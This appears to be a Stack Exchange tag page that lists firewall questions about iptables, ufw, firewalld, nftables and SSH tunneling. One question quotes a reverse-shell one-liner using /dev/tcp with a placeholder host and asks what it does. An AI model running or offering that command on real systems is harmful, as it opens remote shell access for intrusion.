Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [firewall]

A firewall is a program that controls the incoming and outgoing network traffic on a system. Use this tag for all questions related to firewall configuration and operation.

Filter by
Sorted by
Tagged with
489 votes
5 answers
371k views

How does reverse SSH tunneling work?

As I understand this, firewalls (assuming default settings) deny all incoming traffic that has no prior corresponding outgoing traffic. Based on Reversing an ssh connection and SSH Tunneling Made ...
Ali's user avatar
  • 5,371
66 votes
6 answers
258k views

Limit SSH access to specific clients by IP address

How do we allow certain set of Private IPs to enter through SSH login(RSA key pair) into Linux Server?
Ranjan Kumar's user avatar
65 votes
3 answers
99k views

Difference between SNAT and Masquerade

I am confused what's the actual difference between SNAT and Masquerade? If I want to share my internet connection on local network, should I select SNAT or Masquerade?
Chankey Pathak's user avatar
58 votes
9 answers
99k views

UFW: Allow traffic only from a domain with dynamic IP address

I run a VPS which I would like to secure using UFW, allowing connections only to port 80. However, in order to be able to administer it remotely, I need to keep port 22 open and make it reachable from ...
Carles Sala's user avatar
  • 1,005
51 votes
2 answers
129k views

No route to host with nc but can ping

I'm trying to connect to port 25 with netcat from one virtual machine to another but It's telling me no route to host although i can ping. I do have my firewall default policy set to drop but I have ...
Katz's user avatar
  • 1,071
50 votes
7 answers
122k views

How to configure Centos 7 firewallD to allow docker containers free access to the host's network ports?

I have docker installed on CentOS 7 and I am running firewallD. From inside my container, going to the host (default 172.17.42.1) With firewall on container# nc -v 172.17.42.1 4243 nc: connect to ...
adapt-dev's user avatar
  • 1,359
47 votes
5 answers
106k views

Is there a way to find which iptables rule was responsible for dropping a packet?

I have a system that came with a firewall already in place. The firewall consists of over 1000 iptables rules. One of these rule is dropping packets I don't want dropped. (I know this because I did ...
Shawn J. Goff's user avatar
45 votes
9 answers
271k views

Whitelist source IP addresses in CentOS 7

I want to set up CentOS 7 firewall such that, all the incoming requests will be blocked except from the originating IP addresses that I whitelist. And for the Whitelist IP addresses all the ports ...
Krishnandu Sarkar's user avatar
39 votes
1 answer
37k views

Is it better to set -j REJECT or -j DROP in iptables?

There's an example of iptables rules on archlinux wiki: # Generated by iptables-save v1.4.18 on Sun Mar 17 14:21:12 2013 *filter :INPUT DROP [0:0] :FORWARD DROP [0:0] :OUTPUT ACCEPT [0:0] :TCP - [0:0]...
Mikhail Morfikov's user avatar
38 votes
4 answers
216k views

iptables: allow certain ips and block all other connection

How do I allow certain ips and block all other connection in iptables?
David's user avatar
  • 513
37 votes
1 answer
108k views

Do you need to reload after adding a rule in ufw?

Do you need to run any of these commands: sudo ufw reload sudo ufw disable sudo ufw enable after adding a rule via sudo ufw allow?
iLW's user avatar
  • 473
35 votes
2 answers
59k views

How iptables tables and chains are traversed

I know linux has 3 built-in tables and each of them has its own chains as follow: FILTER: PREROUTING, FORWARD, POSTROUTING NAT: PREROUTING, INPUT, OUTPUT, POSTROUTING MANGLE: PREROUTING, INPUT, ...
zer0uno's user avatar
  • 1,293
33 votes
6 answers
187k views

How to check whether firewall opened for a port but not listening on the port

We will be deploying a new application to a Server and the application will be listening on port 8443. We have asked Network team to open the firewall for the port 8443 on that server before deploying ...
yottabrain's user avatar
32 votes
5 answers
70k views

How can I block a range of IP addresses with an Amazon EC2 instance?

I know a certain range of IP addresses are causing problem with my server, 172.64.*.* what is the best way to block access to my Amazon EC2 instance? Is there a way to do this using security groups or ...
cwd's user avatar
  • 45.6k
27 votes
4 answers
85k views

Set some firewall ports to only accept local network connections?

How do I set up the firewall on a system in a LAN so that some ports are only open to connections from the local area network, and not from the outside world? For example, I have a box running ...
hpy's user avatar
  • 4,567
24 votes
3 answers
29k views

what is dhcpv6-client service in firewalld, and can i safely remove it?

In a CentOS 7 server, I type in firewall-cmd --list-all, and it gives me the following: public (default, active) interfaces: enp3s0 sources: services: dhcpv6-client https ssh ports: ...
CodeMed's user avatar
  • 5,239
22 votes
2 answers
40k views

( /etc/sysconfig/iptables ) "Manual customization of this file is not recommended." Why?

Editing this file directly /etc/sysconfig/iptables can save me so much headaches so much time and so on... and yet on the very top of the file it says.. Manual customization of this file is not ...
user avatar
20 votes
1 answer
7k views

How can I disable UFW logging for a specific event?

My router sends out multicast packets in regular intervals that are blocked by UFW's standard policies. These events are harmless but spam my syslogs and ufwlogs. I can't change the router's behaviour ...
Glutanimate's user avatar
  • 2,268
19 votes
6 answers
33k views

Why does Debian come without a firewall enabled by default?

I'm using Debian 9.1 with KDE and I'm wondering why it comes without a firewall installed and enabled by default? gufw is not even in DVD1's packages. Are people expected to connect to the Internet ...
mYnDstrEAm's user avatar
  • 4,350
19 votes
1 answer
53k views

How to understand why the packet was considered INVALID by the `iptables`?

I set up some iptables rules so it logs and drops the packets that are INVALID (--state INVALID). Reading the logs how can I understand why the packet was considered invalid? For example, the ...
mbaitoff's user avatar
  • 5,121
19 votes
1 answer
22k views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried bash -i >& /dev/tcp/HOST/PORT 0>&1 but it does not seem to work behind firewalls. What does this code actually do, which ports are forwarded and could it work behind firewalls?
Helos's user avatar
  • 191
19 votes
4 answers
13k views

Per process firewall?

I've been reading around but can't seem to find a way to create per-process firewall rules. I know about iptables --uid-owner but that only works for outgoing traffic. I've considered scripting ...
s3c's user avatar
  • 370
18 votes
2 answers
114k views

What is sport and dport?

I want to stop internet on my system using iptables so what should I do? iptables -A INPUT -p tcp --sport 80 -j DROP or iptables -A INPUT -p tcp --dport 80 -j DROP ?
Chankey Pathak's user avatar
17 votes
4 answers
32k views

How to do domain filtering in Linux?

Preferably something similar to iptables. Basically, I want to do domain filtering/whitelisting/blacklisting like I would with IPs in iptables. Are there any recommendations on how to do this?
user avatar
16 votes
4 answers
5k views

Why do we need a firewall if no programs are running on your ports?

When I try to telnet to a port on a server, and if there is no program listening on that port telnet dies with a "Unable to connect ... " error. I understand that. But, why do we need a firewall if ...
Khaja Minhajuddin's user avatar
16 votes
1 answer
55k views

nmap shows me that one service is "open|filtered" while locally it's "open", how to open?

I have a Quake 3 server. And it's launched successfully. The problem is that no one can connect to that server. I am running: nmap -sU -p 27960 hostname and it's showing me that it's state open|...
bakytn's user avatar
  • 2,951
15 votes
4 answers
15k views

Why does kdeconnect listen on port 1716/tcp all the time? How to close the port / secure it?

Zenmap shows me that port 1716/tcp is open and sudo fuser -v 1716/tcp tells me kdeconnectd is responsible for it. Why does kdeconnectd have the 1716 port opened all the time? And what would be best ...
mYnDstrEAm's user avatar
  • 4,350
14 votes
10 answers
6k views

What's the point of firewalling outgoing connections?

I have a firewall (csf) that lets you to separately allow incoming and outgoing TCP ports. My question is, why would anyone want to have any outgoing ports closed? I understand that by default you ...
Pythonist's user avatar
  • 747
14 votes
1 answer
22k views

How do I get a list of the ports which belong to preconfigured firewall-cmd services?

I want to open the following ports in my CentOS 7 firewall: UDP 137 (NetBIOS Name Service) UDP 138 (NetBIOS Datagram Service) TCP 139 (NetBIOS Session Service) TCP 445 (SMB) I can guess that the ...
Zhro's user avatar
  • 2,679
14 votes
1 answer
6k views

Restrict local port access to a specific user

I'm trying to restrict access to a particular port for a particular user on my Debian. Let's say user's id is 1000 and port I would like to block is 5000. I tried using iptables with the following ...
Nicolas Mauti's user avatar
13 votes
5 answers
38k views

How to protect against port scanners?

Is it possible to prevent nmap from observing my machine entirely? After dropping all incoming connections with iptables port scans return as "filtered". It'd prefer if nmap couldn't see what ports ...
spacemonkey's user avatar
13 votes
3 answers
30k views

How to allow mysql remote connections via particular interface

I have a 10.237.49.251 IP on eth0 and another IP on another interface How do I enable remote mysql calls on eth0 device?
Andrew's user avatar
  • 451
13 votes
1 answer
77k views

How to check if port forwarding is enabled?

I have just set up a DNS server for my own network, and many guides online suggest to make sure that port forwarding on port 53 is not enabled. The thing that is not clear to me is this: should I ...
user1301428's user avatar
  • 1,047
13 votes
1 answer
12k views

When and how to use chain priorities in nftables

When configuring a chain in nftables, one has to provide a priority value. Almost all online examples set a piority of 0; sometimes, a value of 100 gets used with certain hooks (output, postrouting). ...
F30's user avatar
  • 549
13 votes
1 answer
18k views

Why does my firewall (iptables) interfere in my bridge (brctl)?

I set up a bridge br0 "attached" to two interfaces: eth0, my physical interface connected to the real LAN, vnet0, a KVM virtual interface (connected to a Windows VM). And I have this single ...
Totor's user avatar
  • 20.2k
12 votes
3 answers
71k views

How to check if any firewall is already installed

I have a Debian 10 VPS (virtual private server). How to check if any firewall is already installed? I dont have a list of all existing firewalls, so I hope there is a more general way.
Rimfire's user avatar
  • 259
12 votes
4 answers
18k views

Fail2ban block with IPtables doesn't work on Debian Lenny. [moved ssh port]

I've recently decided to do some security maintenance. I saw my logs, and there were some tries against my SSH server. At first, I moved away the SSH port from the default 22. After it, I read ...
antivirtel's user avatar
10 votes
4 answers
12k views

Debian: Which firewall?

I have to install a firewall on my server (so without X Server). It's a debian lenny. If it is possible, I want to avoid the use of iptables. Is there an easier way to install/configure a firewall?
fego's user avatar
  • 201
10 votes
4 answers
20k views

Can you list iptables as a non-root user? and why?

Is it at all possible to execute the iptables --list … command without being root? Running it as non-root prints this: $ iptables --list iptables v1.4.21: can't initialize iptables table `filter': ...
Hakan Baba's user avatar
10 votes
2 answers
29k views

Why are my network connections being rejected?

I have a CentOS 8 guest running on a Fedora 31 host. The guest is attached to a bridge network, virbr0, and has address 192.168.122.217. I can log into the guest via ssh at that address. If I start a ...
larsks's user avatar
  • 35.4k
10 votes
4 answers
48k views

IPTables - Port to another ip & port (from the inside)

I currently have a NAS box running under port 80. To access the NAS from the outside, I mapped the port 8080 to port 80 on the NAS as follow: iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT ...
David Bélanger's user avatar
10 votes
2 answers
14k views

How to match both UDP and TCP for given ports in one line with nftables

How can i do this in a single line? tcp dport 53 counter accept comment "accept DNS" udp dport 53 counter accept comment "accept DNS"
Microsoft Linux TM's user avatar
10 votes
1 answer
7k views

What is the difference between iptables -S and iptables -L

The help information doesn't seem to be very informative: --list -L [chain [rulenum]] List the rules in a chain or all chains --list-rules -S [chain [rulenum]] Print the rules in a ...
xji's user avatar
  • 757
9 votes
3 answers
3k views

How to block clients by IP address from accessing certain URLs on my web server?

How can I permanently block any ipaddress who accesses known vulnerable pages such as /phpMyadmin/? I am running a Debian server and I often see bots, or hackers scanning my server trying to find ...
Whitecat's user avatar
  • 300
9 votes
3 answers
24k views

Firewall rules based on Domain name instead of IP address

I am running Guacamole remote desktop gateway test setup to manage access to cloud VM instances. As I got one strange POC request from one client to restrict Guacamole RDG access to one specific ...
JineshJK's user avatar
9 votes
1 answer
4k views

iptables - default action at the end of user-defined chain

I'm reading iptables' man page at https://linux.die.net/man/8/iptables, and I've got a question regarding the use of user-defined chains: In the Targets section, it says If the end of a built-in ...
cyqsimon's user avatar
  • 795
9 votes
2 answers
7k views

How to fix "File" *.service "configures an IP firewall (IPAddressDeny=any), but the local system does not support BPF/cgroup based firewalling"?

Booting from a kernel which I recompiled with a custom .config, I got the the following kmsg(ie. dmesg) message: systemd[1]: File /usr/lib/systemd/system/systemd-journald.service:35 configures an ...
user avatar
9 votes
1 answer
8k views

delay to get password prompt when ssh'ing to a public server

i have a server (debian 7) setup in my university with public ip. when I ssh into the system (from outside the campus), I get a weird delay of 5-10 seconds before I get the password prompt. Why is ...
nass's user avatar
  • 1,468
9 votes
4 answers
15k views

How to listen to all ports (UDP and TCP) or make them all appear open in Debian

I got an external Debian server. The problem is that my university campus doesn't allow connections to go outside when the port is different than TCP port 22, 80, 443, or UDP port 123. I tested them ...
Michael's user avatar
  • 93
9 votes
1 answer
15k views

CentOS 8 firewalld + nftables or just nftables

I've been on CentOS 7 for a long time and was used to building my custom iptables configurations on a variety of both personal and business boxes. I've recently started working with CentOS 8 and ...
oucil's user avatar
  • 241

1
2 3 4 5
21